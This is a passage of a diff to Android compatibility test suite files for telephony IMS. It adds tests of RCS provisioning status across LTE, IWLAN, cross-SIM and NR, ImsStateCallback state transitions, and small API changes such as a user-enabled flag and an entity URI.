+                    new Pair<>(RCS_CAP_PRESENCE, new Pair<>(IMS_REGI_TECH_LTE, isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_EAB_PROVISIONING_STATUS, isProvisioned ? 1 : 0)));
+
+            // test get/setRcsProvisioningStatusForCapability for PRESENCE over IWLAN
+            isProvisioned = provisioningManager.getRcsProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_IWLAN);
+            provisioningManager.setRcsProvisioningStatusForCapability(RCS_CAP_PRESENCE,
+                    IMS_REGI_TECH_IWLAN, !isProvisioned);
+            assertTrue(waitForParam(mOnRcsFeatureChangedQueue,
+                    new Pair<>(RCS_CAP_PRESENCE, new Pair<>(IMS_REGI_TECH_IWLAN, !isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_EAB_PROVISIONING_STATUS, !isProvisioned ? 1 : 0)));
+
+            provisioningManager.setRcsProvisioningStatusForCapability(RCS_CAP_PRESENCE,
+                    IMS_REGI_TECH_IWLAN, isProvisioned);
+            assertTrue(waitForParam(mOnRcsFeatureChangedQueue,
+                    new Pair<>(RCS_CAP_PRESENCE, new Pair<>(IMS_REGI_TECH_IWLAN, isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_EAB_PROVISIONING_STATUS, isProvisioned ? 1 : 0)));
+
+            // test get/setRcsProvisioningStatusForCapability for PRESENCE over CROSS SIM
+            isProvisioned = provisioningManager.getRcsProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_CROSS_SIM);
+            provisioningManager.setRcsProvisioningStatusForCapability(RCS_CAP_PRESENCE,
+                    IMS_REGI_TECH_CROSS_SIM, !isProvisioned);
+            assertTrue(waitForParam(mOnRcsFeatureChangedQueue,
+                    new Pair<>(RCS_CAP_PRESENCE,
+                            new Pair<>(IMS_REGI_TECH_CROSS_SIM, !isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_EAB_PROVISIONING_STATUS, !isProvisioned ? 1 : 0)));
+
+            provisioningManager.setRcsProvisioningStatusForCapability(RCS_CAP_PRESENCE,
+                    IMS_REGI_TECH_CROSS_SIM, isProvisioned);
+            assertTrue(waitForParam(mOnRcsFeatureChangedQueue,
+                    new Pair<>(RCS_CAP_PRESENCE,
+                            new Pair<>(IMS_REGI_TECH_CROSS_SIM, isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_EAB_PROVISIONING_STATUS, isProvisioned ? 1 : 0)));
+
+            // test get/setRcsProvisioningStatusForCapability for PRESENCE over NR
+            isProvisioned = provisioningManager.getRcsProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_NR);
+            provisioningManager.setRcsProvisioningStatusForCapability(RCS_CAP_PRESENCE,
+                    IMS_REGI_TECH_NR, !isProvisioned);
+            assertTrue(waitForParam(mOnRcsFeatureChangedQueue,
+                    new Pair<>(RCS_CAP_PRESENCE, new Pair<>(IMS_REGI_TECH_NR, !isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_EAB_PROVISIONING_STATUS, !isProvisioned ? 1 : 0)));
+
+            provisioningManager.setRcsProvisioningStatusForCapability(RCS_CAP_PRESENCE,
+                    IMS_REGI_TECH_NR, isProvisioned);
+            assertTrue(waitForParam(mOnRcsFeatureChangedQueue,
+                    new Pair<>(RCS_CAP_PRESENCE, new Pair<>(IMS_REGI_TECH_NR, isProvisioned))));
+            assertTrue(waitForParam(mIntQueue,
+                    new Pair<>(KEY_EAB_PROVISIONING_STATUS, isProvisioned ? 1 : 0)));
+
+            // TODO : work for OPTIONS case
+
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.unregisterProvisioningChangedCallback(callback);
+            provisioningManager.unregisterFeatureProvisioningChangedCallback(
+                    featureProvisioningCallback);
+        } finally {
+            TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    SUPPORT_PROVISION_STATUS_FOR_CAPABILITY_STRING);
+
+            automan.dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testProvisioningManagerWhenRcsProvisionIsNotRequired() throws Exception {
+        if (!ImsUtils.shouldTestImsSingleRegistration()) {
+            return;
+        }
+
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL,
+                true);
+
+        PersistableBundle innerBundle = new PersistableBundle();
+        bundle.putPersistableBundle(
+                CarrierConfigManager.Ims.KEY_RCS_REQUIRES_PROVISIONING_BUNDLE,
+                innerBundle);
+
+        overrideCarrierConfig(bundle);
+
+        triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+        ProvisioningManager.Callback callback = new ProvisioningManager.Callback() {};
+        ProvisioningManager.FeatureProvisioningCallback featureProvisioningCallback =
+                new ProvisioningManager.FeatureProvisioningCallback() {};
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerProvisioningChangedCallback(getContext().getMainExecutor(),
+                    callback);
+            provisioningManager.registerFeatureProvisioningChangedCallback(
+                    getContext().getMainExecutor(), featureProvisioningCallback);
+
+            TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    SUPPORT_PROVISION_STATUS_FOR_CAPABILITY_STRING);
+
+            assertTrue(!provisioningManager.isRcsProvisioningRequiredForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_LTE));
+            assertTrue(!provisioningManager.isRcsProvisioningRequiredForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_IWLAN));
+            assertTrue(!provisioningManager.isRcsProvisioningRequiredForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_CROSS_SIM));
+            assertTrue(!provisioningManager.isRcsProvisioningRequiredForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_NR));
+
+            // However, getProvisioningStatusForCapability() should return true because it does not
+            // require provision
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_LTE));
+            // put opposite value to check if the key is changed or not
+            provisioningManager.setProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_LTE, false);
+            // key value should not be changed whatever value is set
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_LTE));
+
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_IWLAN));
+            provisioningManager.setProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_IWLAN, false);
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_IWLAN));
+
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_CROSS_SIM));
+            provisioningManager.setProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_CROSS_SIM, false);
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_CROSS_SIM));
+
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_NR));
+            provisioningManager.setProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_NR, false);
+            assertTrue(provisioningManager.getProvisioningStatusForCapability(
+                    RCS_CAP_PRESENCE, IMS_REGI_TECH_NR));
+
+            // TODO : work for OPTIONS case
+
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.unregisterProvisioningChangedCallback(callback);
+            provisioningManager.unregisterFeatureProvisioningChangedCallback(
+                    featureProvisioningCallback);
+        } finally {
+            TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    SUPPORT_PROVISION_STATUS_FOR_CAPABILITY_STRING);
+
+            automan.dropShellPermissionIdentity();
+        }
+    }
+
     @Ignore("The ProvisioningManager constants were moved back to @hide for now, don't want to "
             + "completely remove test.")
     @Test
@@ -3093,7 +4044,15 @@
 
         PersistableBundle bundle = new PersistableBundle();
         bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_SUPPORTS_SS_OVER_UT_BOOL, true);
-        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_UT_PROVISIONING_REQUIRED_BOOL, true);
+
+        PersistableBundle innerBundle = new PersistableBundle();
+        innerBundle.putIntArray(
+                CarrierConfigManager.Ims.KEY_CAPABILITY_TYPE_UT_INT_ARRAY,
+                new int[]{IMS_REGI_TECH_LTE}); // UT/LTE
+        bundle.putPersistableBundle(
+                CarrierConfigManager.Ims.KEY_MMTEL_REQUIRES_PROVISIONING_BUNDLE,
+                innerBundle);
+
         overrideCarrierConfig(bundle);
 
         ProvisioningManager provisioningManager =
@@ -3104,22 +4063,22 @@
             automan.adoptShellPermissionIdentity();
             boolean provisioningStatus = provisioningManager.getProvisioningStatusForCapability(
                     MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
-                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                    IMS_REGI_TECH_LTE);
             provisioningManager.setProvisioningStatusForCapability(
                     MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
-                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE, !provisioningStatus);
+                    IMS_REGI_TECH_LTE, !provisioningStatus);
             // Make sure the change in provisioning status is correctly returned.
             assertEquals(!provisioningStatus,
                     provisioningManager.getProvisioningStatusForCapability(
                             MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
-                            ImsRegistrationImplBase.REGISTRATION_TECH_LTE));
+                            IMS_REGI_TECH_LTE));
             // TODO: Enhance test to make sure the provisioning change is also sent to the
             // ImsService
 
             // set back to current status
             provisioningManager.setProvisioningStatusForCapability(
                     MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_UT,
-                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE, provisioningStatus);
+                    IMS_REGI_TECH_LTE, provisioningStatus);
         } finally {
             automan.dropShellPermissionIdentity();
         }
@@ -3129,7 +4088,7 @@
 
     @Test
     public void testProvisioningManagerRcsProvisioningCaps() throws Exception {
-        if (!ImsUtils.shouldTestImsService()) {
+        if (!ImsUtils.shouldTestImsSingleRegistration()) {
             return;
         }
 
@@ -3141,8 +4100,20 @@
                 true);
         bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_BULK_CAPABILITY_EXCHANGE_BOOL, true);
         bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_RCS_PROVISIONING_REQUIRED_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL,
+                true);
+        PersistableBundle innerBundle = new PersistableBundle();
+        innerBundle.putIntArray(
+                CarrierConfigManager.Ims.KEY_CAPABILITY_TYPE_PRESENCE_UCE_INT_ARRAY,
+                new int[]{IMS_REGI_TECH_LTE, IMS_REGI_TECH_IWLAN, IMS_REGI_TECH_CROSS_SIM,
+                        IMS_REGI_TECH_NR}
+        );
+        bundle.putPersistableBundle(
+                CarrierConfigManager.Ims.KEY_RCS_REQUIRES_PROVISIONING_BUNDLE,
+                innerBundle);
         overrideCarrierConfig(bundle);
 
+
         ProvisioningManager provisioningManager =
                 ProvisioningManager.createForSubscriptionId(sTestSub);
 
@@ -3157,7 +4128,7 @@
             assertEquals(!provisioningStatus,
                     provisioningManager.getRcsProvisioningStatusForCapability(RCS_CAP_PRESENCE));
             // TODO: Enhance test to make sure the provisioning change is also sent to the
-            // ImsService
+            //  ImsService
 
             // set back to current status
             provisioningManager.setRcsProvisioningStatusForCapability(RCS_CAP_PRESENCE,
@@ -3558,6 +4529,267 @@
         }
     }
 
+    @Test
+    public void testImsMmTelManagerImsStateCallback() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        if (imsManager == null) {
+            fail("Cannot find IMS service");
+        }
+
+        LinkedBlockingQueue<Integer> stateQueue = new LinkedBlockingQueue<>();
+        ImsStateCallback callback = buildImsStateCallback(stateQueue);
+
+        ImsMmTelManager mmTelManager = null;
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            mmTelManager = imsManager.getImsMmTelManager(sTestSub);
+            mmTelManager.registerImsStateCallback(getContext().getMainExecutor(), callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int reason = waitForIntResult(stateQueue);
+        assertTrue(reason == ImsStateCallback.REASON_UNKNOWN_TEMPORARY_ERROR
+                || reason == ImsStateCallback.REASON_UNKNOWN_PERMANENT_ERROR
+                || reason == ImsStateCallback.REASON_IMS_SERVICE_DISCONNECTED
+                || reason == ImsStateCallback.REASON_NO_IMS_SERVICE_CONFIGURED
+                || reason == ImsStateCallback.REASON_SUBSCRIPTION_INACTIVE
+                || reason == ImsStateCallback.REASON_IMS_SERVICE_NOT_READY);
+
+        mmTelManager.unregisterImsStateCallback(callback);
+
+        // Connect to device ImsService with MmTelFeature
+        triggerFrameworkConnectToCarrierImsService();
+
+        stateQueue = new LinkedBlockingQueue<>();
+        callback = buildImsStateCallback(stateQueue);
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            mmTelManager.registerImsStateCallback(getContext().getMainExecutor(), callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // expects FEATURE_MMTEL STATE_READY
+        assertEquals(FEATURE_STATE_READY, waitForIntResult(stateQueue));
+
+        if (sServiceConnector != null) {
+            sServiceConnector.getCarrierService().getMmTelFeature().setFeatureState(
+                    ImsFeature.STATE_INITIALIZING);
+        }
+
+        // expects NOT_READY
+        assertEquals(ImsStateCallback.REASON_IMS_SERVICE_NOT_READY,
+                waitForIntResult(stateQueue));
+
+        // Unbind the GTS ImsService
+        if (sServiceConnector != null) {
+            sServiceConnector.disconnectCarrierImsService();
+        }
+
+        // expects DISCONNECTED
+        assertEquals(ImsStateCallback.REASON_IMS_SERVICE_DISCONNECTED,
+                waitForIntResult(stateQueue));
+
+        mmTelManager.unregisterImsStateCallback(callback);
+    }
+
+    @Test
+    public void testImsRcsManagerImsStateCallback() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        if (imsManager == null) {
+            fail("Cannot find IMS service");
+        }
+
+        LinkedBlockingQueue<Integer> rcsQueue = new LinkedBlockingQueue<>();
+        ImsStateCallback rcsCallback = buildImsStateCallback(rcsQueue);
+
+        LinkedBlockingQueue<Integer> sipQueue = new LinkedBlockingQueue<>();
+        ImsStateCallback sipCallback = buildImsStateCallback(sipQueue);
+
+        ImsRcsManager imsRcsManager;
+        SipDelegateManager imsSipManager;
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+            imsRcsManager.registerImsStateCallback(getContext().getMainExecutor(), rcsCallback);
+            imsSipManager = imsManager.getSipDelegateManager(sTestSub);
+            imsSipManager.registerImsStateCallback(getContext().getMainExecutor(), sipCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int reason = waitForIntResult(rcsQueue);
+        assertTrue(reason == ImsStateCallback.REASON_UNKNOWN_TEMPORARY_ERROR
+                || reason == ImsStateCallback.REASON_UNKNOWN_PERMANENT_ERROR
+                || reason == ImsStateCallback.REASON_IMS_SERVICE_DISCONNECTED
+                || reason == ImsStateCallback.REASON_NO_IMS_SERVICE_CONFIGURED
+                || reason == ImsStateCallback.REASON_SUBSCRIPTION_INACTIVE
+                || reason == ImsStateCallback.REASON_IMS_SERVICE_NOT_READY);
+
+        reason = waitForIntResult(sipQueue);
+        assertTrue(reason == ImsStateCallback.REASON_UNKNOWN_TEMPORARY_ERROR
+                || reason == ImsStateCallback.REASON_UNKNOWN_PERMANENT_ERROR
+                || reason == ImsStateCallback.REASON_IMS_SERVICE_DISCONNECTED
+                || reason == ImsStateCallback.REASON_NO_IMS_SERVICE_CONFIGURED
+                || reason == ImsStateCallback.REASON_SUBSCRIPTION_INACTIVE
+                || reason == ImsStateCallback.REASON_IMS_SERVICE_NOT_READY);
+
+        imsRcsManager.unregisterImsStateCallback(rcsCallback);
+        imsSipManager.unregisterImsStateCallback(sipCallback);
+
+        // Override the carrier config
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, false);
+        bundle.putBoolean(
+                CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, false);
+        overrideCarrierConfig(bundle);
+
+        // Connect to device ImsService with RcsFeature
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        rcsQueue = new LinkedBlockingQueue<>();
+        rcsCallback = buildImsStateCallback(rcsQueue);
+
+        sipQueue = new LinkedBlockingQueue<>();
+        sipCallback = buildImsStateCallback(sipQueue);
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            imsRcsManager.registerImsStateCallback(getContext().getMainExecutor(), rcsCallback);
+            imsSipManager.registerImsStateCallback(getContext().getMainExecutor(), sipCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // expects FEATURE_RCS, NO_IMS_SERVICE_CONFIGURED
+        assertEquals(ImsStateCallback.REASON_NO_IMS_SERVICE_CONFIGURED,
+                waitForIntResult(rcsQueue));
+        assertEquals(ImsStateCallback.REASON_NO_IMS_SERVICE_CONFIGURED,
+                waitForIntResult(sipQueue));
+
+        // Override the carrier config
+        bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        // Wait for the framework to set the capabilities on the ImsService
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_RCS_CAP_SET);
+
+        // expects FEATURE_RCS, STATE_READY
+        assertEquals(FEATURE_STATE_READY, waitForIntResult(rcsQueue));
+        assertEquals(FEATURE_STATE_READY, waitForIntResult(sipQueue));
+
+        bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, false);
+        overrideCarrierConfig(bundle);
+
+        // expects FEATURE_RCS, NO_IMS_SERVICE_CONFIGURED
+        assertEquals(ImsStateCallback.REASON_NO_IMS_SERVICE_CONFIGURED,
+                waitForIntResult(rcsQueue));
+        assertEquals(ImsStateCallback.REASON_NO_IMS_SERVICE_CONFIGURED,
+                waitForIntResult(sipQueue));
+
+        // Override the carrier config
+        bundle = new PersistableBundle();
+        bundle.putBoolean(
+                CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        // expects FEATURE_RCS, STATE_READY
+        assertEquals(FEATURE_STATE_READY, waitForIntResult(rcsQueue));
+        assertEquals(FEATURE_STATE_READY, waitForIntResult(sipQueue));
+
+        bundle = new PersistableBundle();
+        bundle.putBoolean(
+                CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, false);
+        overrideCarrierConfig(bundle);
+
+        // expects FEATURE_RCS, NO_IMS_SERVICE_CONFIGURED
+        assertEquals(ImsStateCallback.REASON_NO_IMS_SERVICE_CONFIGURED,
+                waitForIntResult(rcsQueue));
+        assertEquals(ImsStateCallback.REASON_NO_IMS_SERVICE_CONFIGURED,
+                waitForIntResult(sipQueue));
+
+        // Override the carrier config
+        bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        bundle.putBoolean(
+                CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        // expects FEATURE_RCS, STATE_READY
+        assertEquals(FEATURE_STATE_READY, waitForIntResult(rcsQueue));
+        assertEquals(FEATURE_STATE_READY, waitForIntResult(sipQueue));
+
+        bundle = new PersistableBundle();
+        bundle.putBoolean(
+                CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, false);
+        overrideCarrierConfig(bundle);
+
+        // ensure no change in state since having one active feature
+        reason = waitForIntResult(rcsQueue, 3000);
+        assertEquals(Integer.MAX_VALUE, reason);
+        reason = waitForIntResult(sipQueue, 1000);
+        assertEquals(Integer.MAX_VALUE, reason);
+
+        bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, false);
+        overrideCarrierConfig(bundle);
+
+        // expects FEATURE_RCS, NO_IMS_SERVICE_CONFIGURED
+        assertEquals(ImsStateCallback.REASON_NO_IMS_SERVICE_CONFIGURED,
+                waitForIntResult(rcsQueue));
+        assertEquals(ImsStateCallback.REASON_NO_IMS_SERVICE_CONFIGURED,
+                waitForIntResult(sipQueue));
+
+        // Override the carrier config
+        bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        // expects FEATURE_RCS, STATE_READY
+        assertEquals(FEATURE_STATE_READY, waitForIntResult(rcsQueue));
+        assertEquals(FEATURE_STATE_READY, waitForIntResult(sipQueue));
+
+        if (sServiceConnector != null) {
+            sServiceConnector.getCarrierService().getRcsFeature().setFeatureState(
+                    ImsFeature.STATE_INITIALIZING);
+        }
+
+        // expects NOT_READY
+        assertEquals(ImsStateCallback.REASON_IMS_SERVICE_NOT_READY,
+                waitForIntResult(rcsQueue));
+        assertEquals(ImsStateCallback.REASON_IMS_SERVICE_NOT_READY,
+                waitForIntResult(sipQueue));
+
+        // Unbind the GTS ImsService
+        if (sServiceConnector != null) {
+            sServiceConnector.disconnectCarrierImsService();
+        }
+
+        // expects DISCONNECTED
+        assertEquals(ImsStateCallback.REASON_IMS_SERVICE_DISCONNECTED,
+                waitForIntResult(rcsQueue));
+        assertEquals(ImsStateCallback.REASON_IMS_SERVICE_DISCONNECTED,
+                waitForIntResult(sipQueue));
+
+        imsRcsManager.unregisterImsStateCallback(rcsCallback);
+        imsSipManager.unregisterImsStateCallback(sipCallback);
+    }
+
     private void verifyIntKey(ProvisioningManager pm,
             LinkedBlockingQueue<Pair<Integer, Integer>> intQueue, int key, int value)
             throws Exception {
@@ -3682,6 +4914,25 @@
                 sTestSlot, serviceSlot);
     }
 
+    private ImsStateCallback buildImsStateCallback(final LinkedBlockingQueue<Integer> stateQueue) {
+        return new ImsStateCallback() {
+            @Override
+            public void onUnavailable(int reason) {
+                stateQueue.offer(reason);
+            }
+
+            @Override
+            public void onAvailable() {
+                stateQueue.offer(FEATURE_STATE_READY);
+            }
+
+            @Override
+            public void onError() {
+                stateQueue.offer(-1);
+            }
+        };
+    }
+
     private ProvisioningManager.RcsProvisioningCallback buildRcsProvisioningCallback(
             LinkedBlockingQueue<Integer> actionQueue,
             LinkedBlockingQueue<RcsProvisioningCallbackParams> paramQueue) {
@@ -3864,4 +5115,8 @@
 
         throw new RuntimeException("Invalid hex char '" + c + "'");
     }
+
+    private boolean isExpectedSubId(HashSet<Integer> subIDs) {
+        return (subIDs.size() == 1) && subIDs.contains(sTestSub);
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
index 82a2f2a..4d87c9b 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -25,6 +25,7 @@
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
+import android.util.Log;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
@@ -50,6 +51,8 @@
     // Id for compressed auto configuration xml.
     public static final int ITEM_COMPRESSED = 2001;
 
+    private static final String TAG = "ImsUtils";
+
     public static boolean shouldTestTelephony() {
         final PackageManager pm = InstrumentationRegistry.getInstrumentation().getContext()
                 .getPackageManager();
@@ -129,12 +132,19 @@
             Binder.restoreCallingIdentity(token);
         }
 
-        if (carrierPackages == null || carrierPackages.size() == 0) {
-            return true;
-        }
         final PackageManager packageManager = context.getPackageManager();
         Intent intent = new Intent("android.service.carrier.CarrierMessagingService");
         List<ResolveInfo> resolveInfos = packageManager.queryIntentServices(intent, 0);
+        boolean detected = resolveInfos != null && !resolveInfos.isEmpty();
+        Log.i(TAG, "resolveInfos are detected: " + detected);
+
+        boolean exist = carrierPackages != null && !carrierPackages.isEmpty();
+        Log.i(TAG, "carrierPackages exist: " + exist);
+
+        if (!exist) {
+            return true;
+        }
+
         for (ResolveInfo info : resolveInfos) {
             if (carrierPackages.contains(info.serviceInfo.packageName)) {
                 return false;
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsClientConfigurationTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsClientConfigurationTest.java
index f1a09de..0f5f4d9 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsClientConfigurationTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsClientConfigurationTest.java
@@ -33,22 +33,24 @@
     private static final String RCS_PROFILE = RcsClientConfiguration.RCS_PROFILE_2_3;
     private static final String CLIENT_VENDOR = "Android";
     private static final String CLIENT_VERSION = "RCSAndrd-1.0";
+    private static final boolean RCS_ENABLED_BY_USER = true;
 
     @Test
     public void testRcsClientConfigurationApi() {
         RcsClientConfiguration rcc = new RcsClientConfiguration(
-                RCS_VERSION, RCS_PROFILE, CLIENT_VENDOR, CLIENT_VERSION);
+                RCS_VERSION, RCS_PROFILE, CLIENT_VENDOR, CLIENT_VERSION, RCS_ENABLED_BY_USER);
 
         assertEquals(RCS_VERSION, rcc.getRcsVersion());
         assertEquals(RCS_PROFILE, rcc.getRcsProfile());
         assertEquals(CLIENT_VENDOR, rcc.getClientVendor());
         assertEquals(CLIENT_VERSION, rcc.getClientVersion());
+        assertEquals(RCS_ENABLED_BY_USER, rcc.isRcsEnabledByUser());
     }
 
     @Test
     public void testRcsClientConfigurationParcel() {
         RcsClientConfiguration rcc = new RcsClientConfiguration(
-                RCS_VERSION, RCS_PROFILE, CLIENT_VENDOR, CLIENT_VERSION);
+                RCS_VERSION, RCS_PROFILE, CLIENT_VENDOR, CLIENT_VERSION, RCS_ENABLED_BY_USER);
         Parcel rccParcel = Parcel.obtain();
         rcc.writeToParcel(rccParcel, 0);
         rccParcel.setDataPosition(0);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java
index cf1b2fe..34abd36 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java
@@ -73,6 +73,7 @@
                 RcsContactUceCapability.REQUEST_RESULT_FOUND);
         presenceBuilder.addCapabilityTuple(mmtelTuple);
         presenceBuilder.addCapabilityTuples(Collections.singletonList(ftTuple));
+        presenceBuilder.setEntityUri(TEST_CONTACT);
 
         final RcsContactUceCapability testCapability = presenceBuilder.build();
 
@@ -87,6 +88,7 @@
         assertEquals(unparceledCapability.getContactUri(), testCapability.getContactUri());
         assertEquals(unparceledCapability.getSourceType(), testCapability.getSourceType());
         assertEquals(unparceledCapability.getRequestResult(), testCapability.getRequestResult());
+        assertEquals(unparceledCapability.getEntityUri(), testCapability.getEntityUri());
         assertEquals(unparceledCapability.getCapabilityMechanism(),
                 testCapability.getCapabilityMechanism());
 
@@ -224,6 +226,7 @@
         assertEquals(expectedCap.getContactUri(), unparceledCapability.getContactUri());
         assertEquals(expectedCap.getSourceType(), unparceledCapability.getSourceType());
         assertEquals(expectedCap.getRequestResult(), unparceledCapability.getRequestResult());
+        assertEquals(expectedCap.getEntityUri(), unparceledCapability.getEntityUri());
         assertEquals(expectedCap.getCapabilityMechanism(),
                 unparceledCapability.getCapabilityMechanism());
 
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
index d4386ff..1b9c036 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
@@ -38,6 +38,7 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
 
 import android.content.BroadcastReceiver;
@@ -125,9 +126,11 @@
     private static String sTestPhoneNumber;
